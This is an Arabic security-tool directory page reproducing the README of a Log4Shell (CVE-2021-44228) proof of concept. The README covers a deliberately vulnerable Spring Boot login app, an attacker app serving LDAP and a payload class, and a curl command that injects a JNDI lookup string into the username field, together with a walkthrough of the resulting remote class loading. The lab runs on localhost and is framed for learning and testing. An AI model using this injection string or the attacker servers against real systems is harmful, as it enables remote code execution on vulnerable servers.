Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/spasam/log4j2-exploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 إثبات المفهوم

عرض المستودع
21منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم لـ Log4Shell CVE-2021-44228

المتطلبات

  • Java (JDK/JRE) 8 أو إصدار أحدث
  • curl

exploitable

تطبيق Spring Boot بسيط يقدّم صفحة تسجيل دخول تحتوي على مستخدم وكلمة مرور. يقوم بتسجيل اسم المستخدم عند إرساله عبر POST إلى /. ليس من الضروري أن يقوم التطبيق بتسجيل أي مدخلات يقدمها المستخدم. يكفي تفعيل تسجيل الوصول الذي يستخدم إصدارًا قابلًا للاستغلال من log4j2.

كيفية التشغيل:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

يستمع افتراضيًا على المنفذ 8080. إذا فتحت http://localhost:8080/ في المتصفح، يجب أن ترى شيئًا مثل:

ستلاحظ في pom.xml خاصية JVM التالية:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

هذا غير مطلوب في الإصدارات الأقدم من JDK. تم تغيير الافتراضي إلى false في: JDK 11.0.1 و8u191 و7u201 و6u211. حتى بدون هذه الخاصية، يبقى التطبيق عرضة لطلبات LDAP الأولية التي يمكنها تسريب بيانات حساسة.

hacker

تطبيق الهاكر الذي يخدم غرضين:

  • يشغّل خادم HTTP على المنفذ 9090 لتقديم الحمولات القابلة للاستغلال
  • يشغّل خادم LDAP في الذاكرة على المنفذ 1389

كيفية التشغيل:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

في pom.xml يمكنك تغيير الحمولة الافتراضية المرسلة إلى التطبيقات القابلة للاستغلال:

--class=SayHello هو الافتراضي، ما يعني أنه يرسل SayHello.class كحمولة.

كيفية الاستغلال

أرسل طلب curl إلى التطبيق القابل للاستغلال مع الإشارة إلى خادم LDAP الخاص بالهاكر في أحد المدخلات التي يقدمها المستخدم (اسم المستخدم):

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

في وحدة تحكم التطبيق القابل للاستغلال، يجب أن ترى شيئًا مثل:

تحت الغطاء

  • أرسل المهاجم أحد حقول إدخال المستخدم كالتالي ${jndi:ldap://127.0.0.1:1389}
  • يقوم log4j2 القابل للاستغلال المدمج في التطبيق القابل للاستغلال بطلب LDAP إلى 127.0.0.1:1389
  • يستعيد الاستجابة التالية:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • يحاول التطبيق استرداد صنف حمولة الاستغلال من http://127.0.0.1:9090/SayHello.class
  • يعيد خادم الهاكر البايتات الثنائية لـ SayHello.class
  • ينفذ التطبيق طريقة getObjectInstance في صنف الاستغلال

ملاحظة

بعد طلب LDAP الأولي واحتمال تنزيل صنف Java الخاص بالاستغلال، لا يكون من الضروري للاستغلال أن يفرع عملية أو يقوم بأي اتصال إضافي بالإنترنت. عادةً يمكن لمنتجات EDR وغيرها اكتشاف هذا النوع من الاستغلال بسهولة. أعتقد أن الحمولات الجديدة للاستغلال ستُنفَّذ أصليًا في Java لتفادي الاكتشاف.

تنزيل الأداة